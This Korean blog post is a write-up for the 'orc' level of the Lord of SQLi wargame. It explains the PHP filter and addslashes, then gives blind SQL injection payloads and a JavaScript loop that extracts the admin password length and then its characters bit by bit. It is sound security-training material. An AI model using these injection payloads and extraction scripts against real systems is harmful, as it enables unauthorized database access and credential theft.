티스토리 뷰

보안/Wargame

[Lord of SQLi] orc Writeup/문제 풀이

돔돔이부하 2021. 5. 20. 03:39
728x90
반응형

$_GET[pw]

PHP 소스코드 상으로는 pw를 GET parameter 방식으로 받는다고 합니다.

 

if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 

그리고 pw에 prob 라는 단어가 포함되어 있거나, _(언더바), .(온점), ((여는 괄호), )(닫는 괄호) 를 사용하는 것을 금지하고 있습니다.

 

$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if($result['id']) echo "<h2>Hello admin</h2>"; 

query 변수에 GET parameter로 전달 받은 pw를 넣고, mysql에 query를 실행해봤을 때 결과로부터 id가 "admin"일 때 "Hello admin"이라는 문자열이 화면에 출력된다고 합니다.

 

하지만 문제는 거기서 끝나지 않고 아래에 pw를 가지고 또 다른 기능을 수행합니다.

$_GET[pw] = addslashes($_GET[pw]); 

PHP에서 addslashes는 어떤 역할을 할까요?

 

addslashes

데이터베이스의 질의에서 별도로 처리가 필요한 문자 앞에 백슬래시(\)를 붙인 문자열을 반환하는 함수입니다.
따로 처리가 되는 문자들로는 작음따옴표('), 큰따옴표("), 백슬래시(\), NUL(NULL바이트)가 있습니다.

위 예시처럼 addslashes 함수를 거친 문자열은 실제로 큰따옴표, 작은따옴표, 백슬래시 모두 앞에 백슬래시가 더 붙었습니다.

 

그래서 addslashes 이전에서는 어찌어찌 관리자 계정을 query해서 "Hello admin"을 출력하였다고는 하지만, addslashes 이후부터는 sql injection에 사용된 특수문자들이 필터링되서 바로 문제가 해결되지는 않았던 것입니다.

 

계속해서 다음 코드를 보겠습니다.

$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 

addslashes 를 통과한 pw가 다시 이전과 똑같은 query 문에 들어가 query 구문을 실행하고 있습니다. 그리고 만약 pw가 실제 admin의 pw와 일치하다면, 문제가 solved 되는 모양새입니다. 이 말 뜻은 결국 admin의 비밀번호를 알아내야만 문제를 풀 수 있다는 뜻입니다.

 

그럼 비밀번호를 어떻게 알아내야 할까요? 바로 addslashes 이전 구문에서 sql injection 이 가능한 곳에서 pw를 알아내야 합니다.

 

pw를 알아내는 방법은 일반적으로 2가지가 있습니다.

첫 번째로, 패스워드의 길이를 알아냅니다.

두 번째로, 패스워드를 알아냅니다.

 

끝입니다.

 

우선 패스워드의 길이를 알아내보겠습니다.

https://los.rubiya.kr/chall/orc_4.php?pw=' or id='admin' and length(pw)=8#

풀이를 하자면, id가 admin이고, pw의 길이가 8인지 확인하는 문장입니다. 만약 admin의 pw의 길이가 8이라면 where 조건은 참(true)이 되니 "Hello admin"이 나올겁니다.

 

pw의 길이 값이 작으면 손으로 일일이 확인해도 되지만, 찾기 어렵거나 귀찮다면 코드로 짜서 확인해도 됩니다. python이나 javascript를 주로 많이 사용해서 확인합니다. python 코드는 인터넷상에 많이 돌아다니기도 하고 따로 설치해야하기도 해서 귀찮아서 저는 간단하게 브라우저의 개발자 도구에서 지원하는 javascript로 코딩해보겠습니다.

const url = "https://los.rubiya.kr/chall/orc_4.php?pw=";

async function execute(url, query, postfix){
    let response = await fetch(url+encodeURIComponent(query)+encodeURIComponent(postfix), {
      method: 'GET',
      credentials: 'include'
    });
    let text = await response.text();
    let div = document.createElement('div');
    div.innerHTML = text.trim();
    if(div.querySelector("h2")){
        return div.querySelector("h2").innerText;
    }
    return false;
}

for(let i=0; i<10; i++){
	let query = "' or id='admin' and length(pw)=" + i;
	let result = await execute(url, query, "#");
    if(result) console.log("pw length is " + i); 
}

// pw length is 8

위 코드는 0부터 10까지 1씩 늘려가면서 pw의 길이를 확인하는 코드입니다. 결과는 pw length is 8로 나오네요.

 

그리고 이제 패스워드의 길이를 알았으니 패스워드를 알아내보겠습니다. 쉽게 ascii 코드표에 존재하는 모든 문자를 방금 위 패스워드처럼 a to z, A to Z, 0~9, 각종 특수문자들을 일일이 차례로 하나씩 올려가면서 찾아낼 수도 있지만, 문자열의 경우에는 패스워드 길이에 비해서는 너무나도 많은 경우의 수를 가지고 있기 때문에 효율적으로 query문을 작성해줘야 합니다.

 

const url = "https://los.rubiya.kr/chall/orc_4.php?pw=";
var result = "";
for(var i=1; i<1000; i++){
    var byte = 0;
    var bit = 128;
    while(bit >= 1){
        var query = "' or id='admin' and if(ord(substr(pw,"+i+",1))&"+bit+"="+bit+",1,0)";
	    var response = await execute(url, query, "#");
        if(response) byte += bit;
        bit = parseInt(bit / 2);
    }
    if(byte == 0) break;
    result += String.fromCharCode(byte);
}
console.log("password is " + result);
// password is 095a9852

간단하게만 설명하자면, 패스워드를 찾기 위해서 가장 쉽게 생각할 수 있는 방법은 아스키 기반으로 0부터 127까지 다 찾아보는 것이겠죠. 하지만 그렇게 한다면 만약 패스워드 길이가 8일 때, 128 * 8 = 1024, 즉 1024 번을 조회해야지 패스워드를 찾을 수 있겠습니다. 너무 많은 request가 일어나면 서버에 부하를 줄 수 있을 뿐만 아니라 오래걸립니다.

 

그래서 우리는 컴퓨터 문자의 특성을 활용해 아스키코드를 이진수로 변환해서 이진연산을 합니다.

소문자 a로 예를 들어보겠습니다. 소문자 a는 이진수로 0110 0001 입니다.
0110 0001 과 1000 0000 를 &(AND)연산을 하면 결과는 0입니다.

0110 0001 과 0100 0000 를 &(AND)연산을 하면 결과는 1입니다.

0110 0001 과 0010 0000 를 &(AND)연산을 하면 결과는 1입니다.

0110 0001 과 0001 0000 를 &(AND)연산을 하면 결과는 0입니다.

0110 0001 과 0000 1000 를 &(AND)연산을 하면 결과는 0입니다.

0110 0001 과 0000 0100 를 &(AND)연산을 하면 결과는 0입니다.

0110 0001 과 0000 0010 를 &(AND)연산을 하면 결과는 0입니다.

0110 0001 과 0000 0001 를 &(AND)연산을 하면 결과는 1입니다.

결과들을 하나의 byte(8bit)만큼의 크기로 합산하면 0110 0001 입니다. 즉 a의 이진수이죠. 위 연산을 몇번했죠? 네 정확히 8번했습니다.

 

이처럼 하나의 문자를 알아내기 위해서 8번만 연산하면 됩니다. 위 로직을 활용해서 우리는 훨씬 빠르게 비밀번호를 알아낼 수 있습니다.

 

mysql 문법을 추가로 더 설명해보겠습니다.

if절에서 if(결과, 1, 0) 의 의미는 결과가 참이라면 1을 반환하고, 거짓이라면 0을 반환한다는 의미입니다.

substr(결과, 1, 1) 의 의미는 결과 값에서 첫번째 문자부터 한 자리만큼을 잘라 내서 반환한다는 의미입니다.

ord('a') 의 의미는 문자 'a'의 아스키코드값을 반환한다는 의미입니다. 즉 97을 반환하겠지요.

 

다시 문제로 돌아와서, 결과적으로 위에서 구한 패스워드를 pw 파라미터에 넣어줌으로써 문제를 해결할 수 있겠습니다.

https://los.rubiya.kr/chall/orc_4.php?pw=095a9852

 

- 끝 -

728x90
반응형
댓글